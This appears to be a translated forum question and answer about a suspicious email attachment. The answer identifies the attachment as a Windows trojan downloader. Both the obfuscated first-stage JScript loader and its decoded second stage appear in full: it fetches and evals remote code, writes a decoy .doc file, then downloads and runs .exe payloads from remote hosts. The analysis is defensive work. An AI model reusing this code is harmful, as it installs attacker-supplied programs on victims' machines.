我今天收到了电子邮件,有人将我寄给我,我没有打开它,因为我发现它可疑,我想知道该代码做什么,
谢谢
var sder = "P";
var g2 = "M"+"sxml2.XMLHT"+""+"T"+""+sder;
var m = "LZUaj4-qfCYW4M3kjDIgGL844Arvxk8a-hL2LmwUe1fG4_p62GL1yQkO5QZj62RgjWMzKm3mojn5OZRDSmV0C9O7RF_9Lw";
var x = new Array("site link", "site link", "site link", "site link", "site link");
var t4 = "ht"+"tp";
var mul = "qwadro";
var ter = "/";
for (var i=0; i<x.length; i++)
{
var vDJmB = function(){
return new ActiveXObject(g2);
}();
var e = vDJmB;
try
{
e.open("G"+"E"+"T", t4 + ":"+ter+ter+x[i]+"/c"+"o"+"unter/?"+m, false);
e.send();
var r = e.responseText;
if (r.length > 999+1 && r.indexOf(m) > -1)
{
eval(e.responseText.split(m).join(mul.substring(2,3)));
break;
};
}
catch(e)
{
};
};
我想知道这个代码做什么,有人试图从我这里获取信息?谢谢
它是专门针对Microsoft Windows的Trojan加载程序。它为Msxml2.XMLHTTP
ActiveX对象创建指针e
,vDJmB
。
然后使用键m
通过数组x
中的站点进行序列,以获取多部分编码的纯文本有效负载组件r
。该组件有效载荷被解码为JavaScript字符串,然后对此进行评估。每个组件元素长在5972和6266个字符之间。在我的版本中,有五个组件。
实际有效载荷在解码和评估时,引用了其他几个网站,创建多个对象,创建带有.doc扩展名的随机字符文件,尝试运行它,然后将错误捕获到空处理程序中,然后下载PNG,Renames然后,它可以运行它……我要说的是相当复杂的混淆。它最终会抓住什么?无法告诉您,因为我没有Windows系统。
第一个组件确实如下(我的五个具有不同站点名称的组件):
var ld = 0;
var cs = String.fromCharCode(92);
var ll = [ "seperate_site2.com", "site_in_original4.com", "site_in_original4", "seperate_site2", "site_in_original1.com" ];
var ws = WScript.CreateObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + cs + "a";
var xo = WScript.CreateObject("Msxml2.XMLHTTP");
var xa = WScript.CreateObject("ADODB.Stream");
var fo = WScript.CreateObject("Scripting.FileSystemObject");
if (!fo.FileExists(fn + ".doc")) {
var fp = fo.CreateTextFile(fn + ".doc", true);
for (var i = 0; i < 8339; i++) {
fp.Write(String.fromCharCode(Math.floor(Math.random() * 64 + 20)));
};
fp.Close();
try {ws.Run(fn + ".doc", 1, 0);} catch (er) {};
for (var n = 1; n <= 2; n++) {
for (var i = ld; i < ll.length; i++) {
var dn = 0;
try {
xo.open("GET", "http://" + ll[ i ] + "/counter/?" + n, false);
xo.send();
if (xo.status == 200) {
xa.open();
xa.type = 1;
xa.write(xo.responseBody);
if (xa.size > 10000) {
dn = 1;
xa.saveToFile(fn + n + ".exe", 2);
try {ws.Run(fn + n + ".exe", 1, 0);} catch (er) {};
};
xa.close();
};
if (dn == 1) {
ld = i;
break;
};
} catch (er) {};
};
};
} else {
try {ws.Run(fn + ".doc", 1, 0);} catch (er) {};
};
我在Ubuntu上使用Rhino-Debugger和Eclipse 16.04评估了此加载器。